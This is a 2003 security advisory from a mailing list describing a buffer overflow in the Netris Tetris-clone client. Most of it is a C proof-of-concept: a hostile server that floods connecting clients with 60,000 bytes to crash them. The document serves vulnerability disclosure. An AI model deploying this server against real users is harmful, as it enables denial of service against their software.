[UNIX] Netris Client Buffer Overflow Vulnerability

From: SecuriTeam (support_at_securiteam.com)
Date: 08/13/03

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      Netris Client Buffer Overflow Vulnerability
    ------------------------------------------------------------------------

    SUMMARY

    Netris is a Linux clone of the classic infamous game Tetr*s. A
    vulnerability in Netris allows attackers to cause a buffer overflow in the
    connecting client. This is due to insufficient bounds checking of what the
    server sends.

    DETAILS

    Proof of Concept:
    The following code is a small PoC exploit program Shaun has written to
    exploit the existing buffer overflow vulnerability. The PoC will cause a
    DoS (corruption of stack, crashing of Netris program):

    #include <stdio.h>
    #include <stdlib.h>
    #include <time.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #define BACKLOG 1
    int main(int argc, char *argv[]) {
            if(argc < 2) {
                    printf("Usage: %s <port>\n", argv[0]);
                    exit(-1);
            }

            int sock, csock, i;
            struct sockaddr_in client;
            struct sockaddr_in me;
            int sinlen;
            char buffer[60001];

            memset(buffer, 'a', 60000);

            if((sock = socket(AF_INET, SOCK_STREAM, 0)) == NULL) {
                    printf("Couldn't create socket!\n");
                    exit(-1);
            }

            me.sin_family = AF_INET;
            me.sin_port = htons(atoi(argv[1]));
            me.sin_addr.s_addr = INADDR_ANY;
            if(bind(sock, (struct sockaddr *)&me, sizeof(struct sockaddr)) ==
    -1) {
            perror("bind()");
            exit(-1);
            }
            listen(sock, BACKLOG);
            printf("Listening on port %s for connections...\n", argv[1]);
            sinlen = sizeof(struct sockaddr);
            while(1) {
                    csock = accept(sock, (struct sockaddr *)&client, &sinlen);
                    printf("Got connection, sending...\n");
                    send(csock, buffer, strlen(buffer), 0);
                    sleep(1);
                    close(csock);
            }
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:shaunige@yahoo.co.uk> Shaun
    Colley.

    ========================================

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